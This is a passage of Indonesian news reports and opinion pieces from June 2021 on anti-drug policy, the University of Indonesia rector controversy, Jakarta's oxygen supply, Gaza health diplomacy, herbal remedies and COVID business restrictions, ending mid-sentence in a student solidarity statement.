Jakarta, FNN - Wakil Presiden Ma’ruf Amin mengatakan perang melawan narkoba di Indonesia memerlukan kerja sama sinergis antara seluruh pihak baik di tingkat regional, nasional dan internasional. "Perang melawan narkoba memerlukan sinergitas dan kerja sama di tingkat nasional, regional maupun internasional; terutama dalam kegiatan penyelidikan, tukar menukar informasi dan operasi bersama," kata Wapres Ma’ruf saat mengikuti peringatan Hari Anti Narkotika Internasional (HANI) Tahun 2021 secara daring dari kediaman resmi wapres di Jakarta, Senin. Upaya penegakan hukum terhadap penyalahgunaan narkoba, lanjut Wapres, harus dilakukan secara tegas kepada para pelaku. Selain itu, tindak pidana pencucian uang (TPPU) dari penyalahgunaan narkoba juga harus diperangi, katanya. "Tindakan yang tegas, keras dan terukur melalui upaya penegakan hukum sangat diperlukan, baik terhadap kasus narkotika itu sendiri maupun Tindak Pidana Pencucian Uang (TPPU)," jelasnya. Memiskinkan para pelaku penyalahgunaan dan sindikat narkoba, lanjut Wapres, bisa menjadi salah satu cara untuk menghentikan operasi peredaran narkotika dan obat-obatan terlarang tersebut. "Penyitaan aset untuk memiskinkan para pelaku dan sindikat narkoba, juga menjadi salah satu cara agar produksi dan peredaran narkoba tidak dapat beroperasi lagi," katanya. Selain itu, perang terhadap peredaran narkoba di Indonesia juga memerlukan kerja sama dengan berbagai negara karena sebagian besar narkoba berasal dari luar negeri, antara lain sindikat kawasan segitiga emas dan bulan sabit emas, jelas Wapres. "Diselundupkan dan dikendalikan oleh sindikat internasional bekerja sama dengan sindikat dalam negeri," tukasnya. Oleh karena itu, Wapres meminta Badan Narkotika Nasional (BNN) dan seluruh komponen bangsa terkait untuk terus berperan aktif serta bekerja secara nyata dan serius guna memerangi sindikat narkoba. "Jangan cepat berpuas diri, jangan lengah, tetap waspada dan terus tingkatkan prestasi yang telah dicapai," ujarnya. (mth)

Pemimpin Boneka

Oleh Sutoyo Abadi ISTILAH "Pemimpin Boneka" seringkali diasosiasikan untuk pemimpin yang ucapan, peran, dan sikapnya dikendalikan orang lain. Saat manggung, dikendalikan peran panggungnya oleh sutradara. Erving Goffman menggunakan mekanisme panggung ini untuk menganalisis dunia sosialnya. Ada panggung depan (front stage), ada panggung belakang (back stage). Panggung depan sering berbeda 180 derajat dengan panggung belakang. Pemimpin boneka politik, selalu bermain watak, seperti pelawak bisa ketawa, sekalipun situasinya sedang gawat. Ini biasa terjadi. Inilah yang oleh Goffman disebut dengan dramaturgi. Teori dramaturgi ini menarik ketika dibawa ke panggung politik. Para pelaku politik (politisi) punya dua panggung. Panggung ketika mereka berhadapan dengan publik, dan panggung ketika mereka berada di lingkungan sang sutradara. Di hadapan publik, para politisi akan bicara moral. "Saya Pancasila, saya nasionalisme dan NKRI harga mati menjadi khutbah hariannya. Fungsi-fungsi pelayanan publik akan selalu dijadikan narasi indahnya. Apalah idealisme ini juga jadi narasi mereka saat berada di panggung belakang? Panggung belakang itu masuk wilayah otoritas ketua umum partai. Anggota partai sebagai serdadu yang bekerja untuk menerjemahkan dan menyampaikan keputusan partai, titah agenda dari ketua umumnya. Pada posisi ini anggota partai yang ada di Senayan sebenarnya sudah mati suri Di depan media, mereka dalam posisi sebagai Juru bicara partai dengan gaya dan kemampuan inovatif, dan kebesaran seragamnya masing-masing. Istana dengan ketua Umum partai bagi bagi tugas. Boneka istana mereka akan bicara sesuai draf dari istana. Biasanya, juru bicara istana lebih hati-hati dan lebih teratur, karena merepresentasikan nama istana. Tapi mereka semua tetap sama dalam sangkar arahan sang sutradara sebagai boneka. Semua peran boneka seolah ia satu-satunya orang yang punya otoritas dan pemegang tongkat kebenaran. Semakin lantang dan keras ia bicara, akan dianggap sebagai orang yang kritis, berani dan mencoba tampil seolah olah sebagai pahlawan. Padahal, boneka tetap boneka . "Di panggung belakang, ketua umum partai sibuk melakukan negosiasi". Kadang, untuk menjadi politisi yang sukses diperlukan kemampuan yang baik untuk mengambil peran sebagai boneka. Makin berhasil ia keluar dari dirinya sendiri dan menyerahkan kepada otoritas orang lain (mem-boneka-kan diri), maka peluang kesuksesan untuk menduduki posisi strategis semakin terbuka lebar. Permainan pencitraan berbasis survei dilakukan bukan hanya untuk mengukur popularitas dan elektabilitasnya, tapi terutama untuk mengidentifikasi "apa mau" masyarakat pemilih terhadap anda. Selain pencitraan, proses politik juga butuh uang, masuklah cukong / konglomerat busuk sebagai jalan alternatifnya harus cari bantuan. Dan anda tahu, bantuan itu gak gratis. Pasti ada konsekuensi dan kompensasinya. Disitulah anda mulai menggadaikan (mem-boneka-kan) diri anda. Mana mungkin seorang tukang mebel akan memiliki dana untuk biaya maju sebagai kandidat Presiden tanpa bantuan sponsor, resiko jual diri adalah jalan keluarnya. Makin besar anda bergantung kepada bantuan seseorang atau kelompok, maka makin besar pula tekanan dan kendali terhadap diri anda. Kalau anda sudah dikendalikan, maka itu artinya anda sudah jadi boneka. Menurut Robert Merton, terjadilah disfunction remokrasi. Keluar dari tujuan utama demokrasi. Yang diharapkan adalah seorang pemimpin yang berintegritas dan berkapasitas, tapi yang keluar jadi pemenang umumnya justru para boneka. Demokrasi berjalan dalam mekanisme penuh rekayasa dan manipulatif. Sikap dan perilaku ini didukung dan mendapat legitimasi dari mereka yang punya otoritas sosial, yaitu para tokoh, pimpinan ormas, agamawan dan intelektual yang telah lebih dulu dapat bantuan atau sudah bisa dibeli otaknya. Pilpres dan Pilkada bukan lagi sebagai ajang demokrasi tetapi sebagai pasar transaksi dan pabrik untuk menghasilkan boneka dan badut badut politik. Kalau demikian, tidak ada yang bisa diharapkan dari boneka-boneka itu .. ?. Ingin sukses jadilah boneka, sekalipun harus mempertaruhkan harga dirinya bahkan harga diri bangsa dan negara. Penulis, Sekretaris KAMI se-Jawa

Rektor UI Ari Kuncoro Ternyata Komisaris BUMN

Depok, FNN - Buntut poster Jokowi The King of Lip Service BEM UI menguak siapa sebenarnya Rektor Universitas Indonesia (UI) Prof Ari Kuncoro. Seperti diketahui Minggu sore (27 Juni 2021) Kuncoro memanggil pengurus BEM UI usai viral The King Of Lip Service di media sosial. Lewat surat bernomor 915/UN2.R1.KMHS/PDP.00.04.00/2021, Prof Ari Kuncoro selaku Rektor UI secara mendadak mengumpulkan para pengurus BEM UI di Rektorat Kampus UI Depok, Jawa Barat Minggu (27/6/2021). Mereka yang dipanggil lewat surat itu adalah pengurus BEM UI, seperti Ketua, Wakil Ketua, Koordinator Bidang Sosial Politik, Kepala Kantor Komunikasi dan Informasi, Kepala Departemen Aksi dan Propaganda, Wakil Kepala Departemen Aksi dan Propaganda beserta Ketua dan dua Wakil Ketua DPM UI. “Sehubungan dengan beredarnya poster yang dikeluarkan oleh BEM UI melalui akun medsos official BEM UI yang menggunakan foto Presiden RI,” demikian bunyi surat yang diberi keterangan penting dan segera itu. Atas pemanggilan mahasiswa oleh rektor UI itu pun langsung mendapat respon beragam dari warganet. Ari Kuncoro diketahui ternyata adalah komisaris Badan Usaha Milik Negara (BUMN) yakni sebagai Wakil Komisaris Utama PT Bank Rakyat Indonesia (Persero) Tbk (BBRI). Dengan penunjukan tersebut, maka jabatannya selaku Komisaris Utama BNI berakhir. Penunjukan Ari Koncoro selaku Wakil Komisaris Utama BRI berlangsung dalam Rapat Umum Pemegang Saham (RUPS) tahunan. Ari Kuncoro merupakan Rektor Universitas Indonesia (UI) periode 2019-2024. Sebelum diangkat sebagai rektor UI oleh Presiden Joko Widodo, Kuncoro memulai kiprahnya sebagai peneliti pada Lembaga Penyelidikan Ekonomi dan Masyarakat (LPEM) Fakultas Ekonomi Bisnis UI pada 1986. Dia meraih gelar Ph.D bidang Ilmu Ekonomi dan Brown University. Beliau dilantik berdasarkan Surat Keputusan Nomor 020/SK/MWA-UI/2019 tentang Pemberhentian Rektor UI Periode tahun 2014-2019 dan Pengangkatan Rektor UI Periode 2019-2024. Pria kelahiran 28 Januari 1962 ini sebelumnya adalah Dekan Fakultas Ekonomi dan Bisnis Universitas Indonesia (2013-2019), Komisaris Utama Bank Negara Indonesia (2017-2020) dan Rektor Universitas Indonesia (2019-sekarang). Ari terpilih melalui Pemilihan Rektor UI oleh Majelis Wali Amanat Universitas Indonesia (MWA UI) pada 25 September 2019. (ant)

Anies Sebut Masalah Pasokan Oksigen di Jakarta Bukan Stok Menipis

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan mengatakan masalah pasokan tabung oksigen akhir-akhir ini bukan karena stok menipis, melainkan karena tidak ada armada maupun petugas yang mengantarkan ke rumah sakit. "Teman-teman distributor punya pasokan oksigen yang cukup namun terkendala kekurangan armada dan orang untuk mengantarkan ke RSUD-RSUD kita, seiring meningkatnya permintaan," ujar Anies dikutip di Jakarta dalam akun Instagramnya aniesbaswedan, Minggu (27/6). Anies mengatakan Jakarta memang menghadapi gelombang pasien COVID-19 tertinggi selama pandemi. Namun Pemerintah Provinsi DKI Jakarta mempunyai sumber daya manusia untuk membantu distribusi dan mengantar sampai RSUD untuk mencukupi kebutuhan melawan pandemi itu. Anies mengatakan Jakarta membutuhkan dukungan dari semua unsur, termasuk pasokan oksigen, yang kebutuhannya akhir-akhir ini meningkat hingga 2-3 kali lipat dari biasanya. Untuk memastikan pasokan oksigen tidak terkendala, Jumat lalu Pemprov DKI Jakarta berkoordinasi dengan para distributor oksigen di Jakarta. "Dan alhamdulillah, langsung dieksekusi jajaran dari Satpol PP, Dinas Pertamanan dan Hutan Kota, Dinas Lingkungan Hidup, Dinas Bina Marga hingga Dinas Sumber Daya Air Provinsi DKI Jakarta ikut membantu memastikan distribusi oksigen lancar ke RS-RS kita," kata Anies. "Terima kasih kepada semua yang telah ikut turun tangan dalam kerja kolosal #JagaJakarta. Jaga stamina, jaga kesehatan, InsyaAllah kita bangkit keluar dari pandemi ini sebagai kota yang lebih baik, lebih tangguh," ujar Anies pula. (mth)

Agenda "Second Track Diplomacy" Kesehatan di Tengah Pandemi COVID-19

Jakarta, FNN - Dunia saat ini masih terus berjuang untuk menghadapi masalah global kesehatan, yakni pandemi COVID-19, yang sedang dan terus diperjuangkan untuk bisa diatasi. Pada saat yang sama, isu Palestina juga menjadi satu isu global yang banyak menaruh perhatian dari sejumlah negara karena rakyat dan bangsa Palestina, juga belum berhenti diserang dan dibombardir militer zionis Israel, yang menduduki secara tidak sah wilayah Palestina, baik di Tepi Barat maupun Jalur Gaza. Serangan itu, untuk kesekian kalinya dan dalam situasi pandemi COVID-19 pun, terus dilakukan Israel. Dampaknya, seperti yang mudah diketahui publik dunia, korban anak-anak dan perempuan, yang memilukan hati nurani, tidak membuat Israel berubah dan terus menduduki wilayah Palestina, plus melakukan pembantaian terhadap pemilik sah wilayah itu. Alhasil, dunia mereaksinya dengan beragam sikap, namun sebagian besar mengecam dan mengutuk tindakan agresi Israel atas Palestina itu. Presiden Joko Widodo melalui cuitan Twitternya, pada Sabtu (15/5/2021) menyampaikan bahwa Indonesia mengutuk keras serangan Israel yang telah merenggut ratusan korban jiwa, termasuk perempuan dan anak-anak. Agresi Israel harus dihentikan. Atas kondisi tersebut, Kepala Negara berkomunikasi dengan pemimpin dunia, di antaranya Presiden Turki, Yang Dipertuan Agong Malaysia, Perdana Menteri Singapura, Presiden Afganistan, Sultan Brunei Darussalam, dan Perdana Menteri Malaysia untuk membahas situasi tersebut. Pada awal agresi Israel di Palestina pada pertengahan Mei 2021, laporan kantor-kantor berita transnasional menyatakan sekurangnya 140 warga Palestina, termasuk 39 anak-anak, telah tewas di Jalur Gaza dan 950 lainnya terluka. Sementara di Tepi Barat yang diduduki Israel, 13 warga Palestina tewas akibat serangan tentara Israel. Komisaris Tinggi PBB untuk HAM Michelle Bachelet, seperti dikutip Reuters, Jumat (28/5) 2021 menyatakan pihaknya telah memverifikasi 270 kematian di Gaza, Tepi Barat, dan Yerusalem, 68 di antaranya anak-anak. Sementara itu roket Hamas ke Israel telah menewaskan 10 warga. Selain itu, PBB menyatakan lebih kurang 10 ribu warga Palestina telah meninggalkan rumah mereka di Gaza di tengah serangan Israel. Diplomasi Kesehatan Dalam konteks konflik Israel-Palestina, jatuhnya korban luka, khususnya pada anak dan perempuan, membutuhkan penanganan yang sifatnya lebih teknis dan fokus, yakni secepatnya ada bantuan kesehatan, sehingga tidak sekadar diplomasi politik formal dan resmi. Karena itu, dibutuhkan dengan apa yang dikenal sebagai diplomasi jalur kedua (second track diplomacy) untuk melengkapi diplomasi oleh pemerintah (first track diplomacy), yang bersifat formal dan dengan rujukan konvensi-konvensi internasional. Diplomasi non-formal itu umumnya dilakukan oleh masyarakat atau organisasi-organisasi nonpemerintah, yang bersifat "people to people". Salah satu yang selama ini melakukan diplomasi jalur kedua itu adalah organisasi sosial kemanusiaan untuk korban perang, konflik dan bencana alam yang bergerak dalam bidang kegawatdaruratan kesehatan "Medical Emergency Rescue Committee" (MER-C) Indonesia. Sebagai wujud komitmen jangka panjang untuk membantu Palestina, khususnya guna pengembangan Rumah Sakit Indonesia (RSI) di Gaza, organisasi itu merencanakan pembangunan poliklinik spesialis. Kegiatan di Palestina itu sebagai program yang berkelanjutan dan terus menerus. Tanah wakaf untuk pembangunan poliklinik spesialis itu sudah diterima seluas kurang lebih 7.000 meter persegi. Untuk merealisasikan rencana tersebut, MER-C akan mengirimkan tim kesehatan dan insinyur ke Jalur Gaza guna melakukan penjajakan pembangunan poliklinik spesialis, yang posisinya akan berada di depan bangunan RSI saat ini di Bayt Lahiya, Gaza Utara. Ketua Presidium MER-C dr Sarbini Abdul Murad telah bertemu dengan Duta Besar Palestina untuk Indonesia Zuhair Al-Shun pada Kamis (24/6) 2021 di Jakarta untuk menyampaikan rencana itu. Sebelumnya, pada 2019-2020, MER-C telah merampungkan pembangunan tahap 2 RSI, yakni pembangunan 2 lantai tambahan berupa lantai 3 dan lantai 4, dan kini tengah melakukan proses pengadaan alat kesehatan untuk kedua lantai tersebut. Duta Besar Palestina untuk Indonesia Zuhair Al-Shun menyampaikan apresiasinya terhadap upaya-upaya yang telah dilakukan oleh MER-C Indonesia. Ia menegaskan dukungannya pada program itu dan akan melakukan yang terbaik untuk dapat memfasilitasi rencana pengiriman tim MER-C ke Jalur Gaza guna terwujudnya rencana tersebut. Upaya yang dilakukan oleh MER-C Indonesia berupa pembangunan fasilitas kesehatan untuk kemaslahatan warga Palestina menjadi urgen, terlebih setelah serangan Israel terhadap Palestina dan rakyat sipil. Prioritas Menteri Luar Negeri Retno L.P. Marsudi saat memberikan pemaparan kepada peserta Program Pendidikan Reguler Angkatan (PPRA) 62 Lemhannas, Rabu (28/4) menyebut bahwa diplomasi kesehatan menjadi salah satu prioritas diplomasi Indonesia. Pernyataan itu menjadi penguat dari yang pernah disampaikan Menlu pada pernyataan pers tahunan awal Januari terkait lima prioritas diplomasi Indonesia Tahun 2021, di mana yang menjadi prioritas pertama adalah soal kesehatan itu. Prioritas pertama itu, yakni membangun kemandirian dan ketahanan kesehatan nasional (national health security) dengan antara lain pada realisasi komitmen vaksin COVID-19, baik melalui kerja sama bilateral maupun multilateral. Rinciannya berupa penguatan kerja sama membangun industri kesehatan nasional industri bahan baku obat, farmasi, maupun alat kesehatan. Selain itu, penguatan kerja sama pengembangan riset dan transfer teknologi dan SDM di bidang kesehatan serta penguatan sistem dan mekanisme kesiapsiagaan menghadapi pandemi yang akan datang, baik di tingkat nasional, kawasan maupun global. Secara teoritis, dalam http://news.unair.ac.id/2020/12/07/masalah-diplomasi-kesehatan-era-pandemi/ disebutkan bahwa diplomasi kesehatan (health diplomacy) merupakan suatu pendekatan komprehensif. Pendekatan komprehensif itu melibatkan unsur-unsur ekonomi, bisnis, sains dan strategis. Upaya diplomasi kesehatan berbeda dengan metode negosiasi antarpemerintah secara umum, khususnya karena kepentingan yang diperjuangkan lebih bersifat non-politis, yakni di sektor kesehatan publik. Tetapi, selalu ada koneksi timbal balik antara birokrasi pelaksana diplomasi di bidang kesehatan dengan aparat struktural Kementerian Luar Negeri yang mengimpementasikan hubungan internasional secara tradisional. Di saat pandemi COVID-19 dan pendudukan Israel atas tanah dan wilayah Palestina masih menjadi isu global, urgensi diplomasi kesehatan untuk membantu sesama sebagai diplomasi jalur kedua menjadikan first track diplomacy mendapatkan keparipurnaan. (mth)

Menjaga Kesehatan dengan Tumbuhan Tradisional Saat Pandemi

Jakarta, FNN - Segala ikhtiar menjaga dan memulihkan kesehatan selama masa pandemi COVID-19 saat ini banyak dilakukan masyarakat, bagi para penyintas maupun publik lainnya. Ancaman dan risiko tertular virus corona jenis baru penyebab COVID-19, yang dalam perkembangannya telah terjadi mutasi virus, kini mengintai siapa saja, terlebih bila kondisi kesehatannya sedang menurun. Dari beragam kesaksikan para penyintas, yang kemudian dinyatakan sembuh dari COVID-19, tidak sedikit yang menceritakan bagaimana ramuan tumbuhan tradisional -- yang kini populer dengan sebutan herbal -- bisa memulihkan daya tahan tubuhnya. Secara umum, herbal, pengertiannya adalah tanaman atau tumbuhan yang mempunyai kegunaan atau nilai lebih dalam pengobatan. Ikhwal pemanfaatan tumbuhan herbal itu mendapat penguatan dari Dirjen Pelayanan Kesehatan Kemenkes Bambang Wibowo, melalui Surat Edaran (SE) Nomor: HK.02.02/IV.2243/2020 tertanggal 19 Mei terkait Pemanfaatan Obat Tradisional untuk Pemeliharaan Kesehatan, Pencegahan Penyakit dan Perawatan Kesehatan. Dalam SE itu dijelaskan enam ramuan untuk meningkatkan daya tahan tubuh, yakni ramuan pertama berbahan jahe merah, jeruk nipis, kayu manis, gula merah dan air. Lalu, ramuan dua, bahannya adalah kunyit, lengkuas, jeruk nipis, air, gula merah. Ramuan tiga, pegagan, jahe merah, temulawak, air, gula aren. Ramuan empat, kencur, beras, daun pandan, gula aren, air. Kemudian, ramuan lima terdiri atas daun kelor (dua genggam) dan air (dua cangkir), di mana cara pembuatannya merebus air sampai mendidih, memasukkan daun kelor, lalu matikan api dan saring sesudah dingin. Untuk pemakaiannya, dewasa dua kali sehari satu cangkir, dan anak-anak dua kali sehari setengah cangkir. Sedangkan ramuan enam adalah bawang putih tunggal (lanang), air hangat dan madu. Tentu saja, jika dirujuk pada sejarah panjang, pemanfaatan tumbuhan tradisionil seperti itu adalah kearifan-kearifan lokal yang diwariskan nenek moyang dulu, meski kini sudah banyak yang dikelola oleh pelaku industri skala besar. Pemanfaatan tumbuhan tersebut kini mencuat lagi, tatkala sedang terjadi pandemi. Obat dari hutan Menteri Lingkungan Hidup dan Kehutanan (KLHK) Siti Nurbaya saat memperingati Hari Hutan Internasional (HHI) 2021 menyatakan hutan harus dijaga karena dapat memberikan manfaat kesehatan bagi semua orang. Hutan dapat memberikan udara segar, makanan bergizi, air bersih dan ruang rekreasi. "Di negara maju, hingga 25 persen dari semua obat-obatan adalah nabati, sedangkan di negara berkembang kontribusinya mencapai 80 persen," katanya. Ia menjelaskan KLHK telah menyampaikan hasil-hasil penelitian yang bekerja sama dengan masyarakat sekitar kawasan hutan dalam melakukan bioprospecting atau pemanfaatan sumber daya genetik yang mendukung kebutuhan pangan dan farmasi. Penelitian tersebut, beberapa di antaranya adalah penelitian Candidaspongia sp. di Taman Wisata Alam (TWA) Teluk Kupang untuk anti-kanker, penelitian mikroba yang berguna bagi tanaman di Taman Nasional (TN) Gunung Ciremai, yaitu Cendawan (Hursutella sp dan Lecanicillium sp), isolat bakteri pemacu pertumbuhan (C71, AKBr1, dan AKS), dan isolat bakteri antifrost (PGMJ1 dan A1). Apa yang disampaikan Menteri LHK itu divalidasi oleh Guru Besar Fakultas Kehutanan (Fahutan) Institut Pertanian Bogor (IPB), Prof Dr Ervizal A M Zuhud, yang mengemukakan terdapat ratusan spesies tumbuhan obat di hutan yang digunakan berbagai etnis di Indonesia untuk mengobati penyakit. Masyarakat sekitar hutan memanfaatkan berbagai spesies tumbuhan dan hewan dari hutan untuk memelihara kesehatan dan pengobatan berbagai macam penyakit Sejumlah hasil penelitian etnobotani Indonesia yang dilakukan oleh Prof Amzu -- sapaan akrab Ervizal A M Zuhud -- menemukan terdapat ratusan spesies tumbuhan obat yang digunakan untuk mengobati penyakit. Rinciannya, 78 spesies tumbuhan obat digunakan oleh 34 etnis untuk mengobati penyakit malaria, 133 spesies tumbuhan obat digunakan oleh 30 etnis untuk mengobati penyakit demam, 110 spesies tumbuhan obat digunakan oleh 30 etnis untuk mengobati penyakit gangguan pencernaan, dan 98 spesies tumbuhan obat digunakan oleh 27 etnis untuk mengobati penyakit kulit. Secara umum dapat diketahui bahwa 82 persen dari total spesies tumbuhan obat hidup di ekosistem hutan tropika dataran rendah pada ketinggian di bawah 1.000 meter dari permukaan laut. Umumnya setiap tipe ekosistem hutan mempunyai spesies tumbuhan spesifik yang mencirikan setiap tipe ekosistem tersebut. Dalam setiap unit kawasan taman nasional ditemukan berbagai spesies tumbuhan obat untuk mengobati 25 kelompok penyakit yang diderita masyarakat. Ia menyimpulkan bahwa di setiap kawasan taman nasional yang merupakan ekosistem hutan hujan tropika tersedia bahan baku obat untuk berbagai macam penyakit dan telah terbangun sistem pengetahuan lokal berupa etno-wanafarma (ethno-forest pharmacy) secara turun-temurun. Namun, kata Amzu, saat ini sangat dikhawatirkan telah terjadi kepunahan sebagian besar pengetahuan masyarakat lokal itu, karena terjadinya intervensi global yang tidak terkendali. Potensi sumber obat yang dimiliki Indonesia ini sangat bernilai untuk mendukung kedaulatan Indonesia, karena dewasa ini masyarakat global sedang gencar mengampanyekan back to nature, dan tren tersebut menjadi peluang Indonesia untuk mengembangkan jamu dan produk obat tradisional lainnya yang dimiliki oleh bangsa ini. Restorasi Hutan Mengingat begitu berharganya tumbuhan obat tersebut Kepala Perwakilan FAO untuk Indonesia ad interim Richard Trenchard menyatakan diperlukan restorasi atas berbagai kerusakan pada hutan yang ada. "Kerusakan hutan merusak kesehatan lingkungan dan manusia serta meningkatkan emisi karbon dan mengurangi keanekaragaman hayati. Kita harus ingat bahwa hampir sepertiga dari penyakit menular baru terkait dengan perubahan penggunaan lahan, seperti penggundulan hutan," katanya dalam pernyataan pada Hari Hutan Internasional pada 21 Maret 2021. Ia menyebut bahwa setiap pohon sangat berarti. Karena itu, proyek penanaman dan restorasi skala kecil dapat berdampak besar. Tidak hanya di daerah perdesaan, penghijauan kota menciptakan udara yang lebih bersih dan ruang yang lebih indah serta memberikan manfaat besar bagi kesehatan mental dan fisik penduduk perkotaan. Berinvestasi dalam restorasi hutan dan lahan akan membantu memulihkan kesehatan manusia, komunitas, dan lingkungan. Restorasi menawarkan prospek untuk mengembalikan pohon dan hutan ke lanskap hutan yang kritis dan terdegradasi dalam skala besar, sehingga meningkatkan ketahanan ekologi dan produktivitas. Dengan itu, masyarakat bisa pulih dari krisis kesehatan, lingkungan, dan ekonomi di planet bumi. Pada akhirnya, dengan kemanfaatan yang begitu berharga itu, ajakan dan seruan untuk menjaga hutan, termasuk menyelamatkan tumbuhan obat di dalamnya, harus terus menerus dicuatkan dan digencarkan, dengan satu tujuan menjaga kekayaan sumber daya hayati untuk kesehatan di masa depan yang panjang. (mth)

Pengusaha Kuliner di Palembang Keluhkan Kebijakan Prokes Tak Adil

Palembang, FNN - Pelaku usaha kuliner dan tempat hiburan yang tergabung dalam Forum Komunikasi Dunia Usaha Kuliner dan Hiburan dan Forum Kedai Palembang mengeluhkan kebijakan protokol kesehatan dan PPKM yang diterapkan Satpol PP dan tim gabungan terkesan tidak adil. "Dalam kegiatan usaha mengenal tiga waktu jam operasional ada pagi, siang, dan malam. Namun pelaku usaha kuliner, tempat hiburan, dan kedai yang jam operasionalnya malam hari kegiatan usahanya sangat singkat efektif hanya dua jam," kata Ketua Bidang Pengembangan Usaha Forum Komunikasi Dunia Usaha Kuliner dan Hiburan Palembang, Bobo Lim di Palembang, Minggu. Ketika memberikan keterangan pers bersama pelaku industri pariwisata yang tergabung dalam PHRI, GIPI, Masata, Forkom Duran, FKPB, Asita, dan Asperapi, Lim meminta tinjau ulang aturan jam operasional kegiatan usaha yang beroperasi pada malam hari yang ditetapkan maksimal pukul 21.00 WIB . Jika alasan pengaturan jam operasional untuk mencegah penularan COVID-19, seharusnya jam operasional kegiatan usaha yang buka pada pagi dan siang hari juga dibatasi dua atau tiga jam saja. Penularan COVID-19 tidak mengenal waktu pagi hari, siang atau malam hari, jika alasannya mencegah penularan virus, penerapan prokes dan PPKM diberlakukan sama kepada pelaku usaha dengan pembatasan jam operasional tertentu. Dampak penerapan prokes dan PPKM yang tidak adil, pelaku usaha kuliner dan tempat hiburan terjaring penertiban ketika pengunjung masih berada di tempat usaha mereka di atas pukul 21.00 WIB. Pengunjung kafe atau kedai kopi dan tempat hiburan biasanya baru mulai berdatangan pada pukul 20.00 WIB, namun belum selesai minum kopi dan makan pukul 21.00 WIB harus segera meninggalkan tempat. Aturan yang kurang adil itu sangat merugikan pelaku usaha kuliner dan tempat hiburan karena kegiatan usaha tidak bisa berjalan normal dan berpotensi gulung tikar karena pendapatan tidak sesuai dengan biaya operasional, ujar Bobo Lim. Sementara Ketua Forum Kedai Palembang Bersatu, Widodo didampingi Ketua Gabungan Industri Pariwisata Indonesia (GIPI) Sumsel, Herlan Asipudin menambahkan, penerapan aturan prokes dan PPKM mikro sekarang ini sangat meresahkan ratusan anggotanya. Aturan tersebut meresahkan karena sudah ada satu anggotanya terjaring petugas gabungan karena pengunjungnya masih berada di lokasi usaha di atas pukul 21.00 WIB dengan diproses hukum tindak pidana ringan dan sanksi denda Rp15 juta. Jika kebijakan penerapan prokes dan PPKM tidak ditinjau ulang, dapat mengakibatkan usaha mereka tidak bisa berjalan dengan baik dan berimbas terhadap pemecatan pekerja serta tidak bisa membayar pajak. "Dalam melakukan kegiatan usaha, prokes telah diterapkan secara ketat seperti wajib menggunakan masker, pembatasan pengunjung, pengaturan jarak tempat duduk, namun petugas tetap menertibkan dengan berpegang ketentuan batas maksimal jam operasinal malam hari pukul 21.00 WIB, sementara pelaku usaha yang buka pada pagi hingga sore hari banyak yang tidak menerapkan prokes dengan baik namun tidak diberi sanksi," ujarnya. Sementara sebelumnya, Wali Kota Palembang Harnojoyo sebelumnya menegaskan Peraturan Wali Kota (Perwali) Nomor 27 Tahun 2020 terkait adaptasi kebiasaan baru di tengah pandemi COVID-9 juga berlaku dalam pemberlakuan pembatasan kegiatan masyarakat (PPKM) secara mikro sekarang ini. "Kami hanya membuat Surat Edaran Nomor 2/SE/Dinkes/2021 terkait PPKM Mikro untuk penekanan Satgas COVID-19 di tingkat kecamatan dan kelurahan agar lebih bisa berkonsolidasi di tengah-tengah masyarakat," ujarnya. Perwali yang diterbitkan pada September 2020 itu salah satunya mengatur sanksi bagi orang yang tidak menggunakan masker di luar rumah, yakni diberikan teguran lisan, teguran tertulis, penahanan kartu identitas, kerja sosial di fasilitas umum dan denda administratif. Sanksi-sanksi tersebut bukan menjadi penekanan utama pada masa PPKM Mikro melainkan lebih ke peningkatan edukasi agar protokol kesehatan antisipasi penyebaran COVID-19 tetap diterapkan secara ketat, ujar Wali Kota. (mth)

Solidaritas Terhadap Matinya Iklim Demokrasi Kampus di UI

Jakarta, FNN - Pada tanggal 27 Juni 2021, kembali terjadi kasus pemberangusan kebebasan berpendapat yang menimpa BEM UI. Melalui Surat Undangan Nomor 915/UN2.RI.KMHS/PDP.00.04.00/2021 Universitas Indonesia mengundang mahasiswa yang menjadi bagian dari BEM UI dan DPM UI yang berjumlah 10 orang. Pemanggilan tersebut dilakukan untuk melakukan klarifikasi atas postingan berupa poster yang diunggah pada akun BEM UI yang mencantumkan foto Joko Widodo yang dipublikasi pada tanggal 26 Juni 2021 pada sekitar jam 18.00 WIB yang membahas terkait dengan janji-janji kebohongan Presiden Joko Widodo. Berdasarkan konten yang dipublikasi oleh BEM UI kami berpendapat bahwa konten tersebut menyajikan data terkait dengan kondisi saat ini dimana kebebasan sipil yang diberangus melalui represifitas aparat terhadap massa aksi, kebebasan berpendapat yang dibungkam melalui pasal karet dari UU ITE, pelemahan KPK yang terjadi secara sistematis, dan adanya intervensi presiden terhadap supremasi hukum. Sedangkan Presiden berkata sebaliknya dengan realitas yang terjadi. Dengan adanya surat pemanggilan oleh birokrat UI mengindikasikan bahwa aktor pemberangusan kebebasan berpendapat tidak hanya datang dari negara, tapi juga datang dari kampus. Sehingga sudah semakin nyata bahwa kebebasan sipil semakin kerdil dan menyerang suara-suara yang menyatakan kebenaran kepada publik. Adapun juga saat ini konten yang diunggah dalam Instagram BEM UI diserang oleh buzzer melalui kolom komentar dan juga menyerang Ketua BEM UI Leon Alvinda Putra. Dengan adanya surat pemanggilan oleh birokrat UI mengindikasikan bahwa hari ini kebebasan sipil semakin dikerdilkan oleh negara dengan sistematis. Menimbang kronologi dan analisis peristiwa yang terjadi terhadap kawan-kawan UI yang berujung dengan surat pemanggilan yang dilakukan terhadap BEM UI yang dimana absennya negara dalam menjamin kebebasan berpendapat seperti yang telah diatur dalam UUD 1945 pasal 28 dan UU No. 9 Tahun 1998 tentang kemerdekaan menyampaikan pendapat di muka umum, dimana dalam UU tersebut pada pasal 7 mengatur terkait dengan aparatur negara yang wajib dan bertanggung jawab atas penyampaian pendapat yang dilakukan termasuk melalui tulisan. Maka dari itu kami dengan ini secara tegas menyatakan sikap bahwa: Mengecam segala bentuk pembungkaman terhadap kebebasan sipil yang telah diatur oleh konstitusi. 2. Mendesak pemerintah untuk menjamin kebebasan berpendapat yang dilakukan oleh warga negara seperti yang telah diatur dalam peraturan yang telah berlaku. 3. Mendesak Birokrat Universitas Indonesia untuk menjamin kebebasan berpendapat yang dilakukan oleh mahasiswa Universitas Indonesia yang telah dijamin oleh konstitusi. 4. Mengajak seluruh elemen masyarakat untuk ikut bersolidaritas dalam mengawal kasus kebebasan berpendapat BEM UI. Seharusnya Indonesia sebagai negara demokrasi harus mengakui kedaulatan rakyat dan menjamin HAM warga negara. Maka segala bentuk 